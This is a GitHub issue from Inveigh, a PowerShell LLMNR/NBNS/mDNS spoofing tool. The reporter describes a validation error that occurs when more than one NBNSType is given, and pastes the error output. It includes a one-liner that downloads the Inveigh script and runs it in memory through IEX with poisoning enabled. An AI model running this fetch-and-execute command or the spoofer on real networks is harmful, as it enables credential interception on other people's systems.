Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Error specifying more than on NBNSType with powershell script #15

Open
cclements opened this issue Mar 12, 2019 · 0 comments
Open

Error specifying more than on NBNSType with powershell script #15

cclements opened this issue Mar 12, 2019 · 0 comments

Comments

@cclements
Copy link

With build 1459e04 running on Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 with powershell version:

PS C:\Windows\system32> $PSVersionTable.PSVersion

Major  Minor  Build  Revision
-----  -----  -----  --------
3      0      -1     -1

When specifying more than one NBNSType, as with the following oneliner:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://github.com/raw/Kevin-Robertson/Inveigh/master/Inveigh.ps1'); Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -LLMNR Y -mDNS Y -NBNS Y -NBNSTypes 00,03,20""

I consistently receive an error:

Invoke-Inveigh : Cannot validate argument on parameter 'NBNSTypes'. The argument "0" does not belong to the set "00,03,20,1B,1C,1D,1E" specified by the ValidateSet attribute. Supply an argument that
is in the set and then try the command again.
At line:1 char:210
+ ... S Y -NBNSTypes 00,20
+                    ~~~~~
    + CategoryInfo          : InvalidData: (:) [Invoke-Inveigh], ParameterBindingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationError,Invoke-Inveigh

It will always work with a single specified nbnstype. I'vet tried wrapping the nbnstype list in quotes but it does not seem to make a difference.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant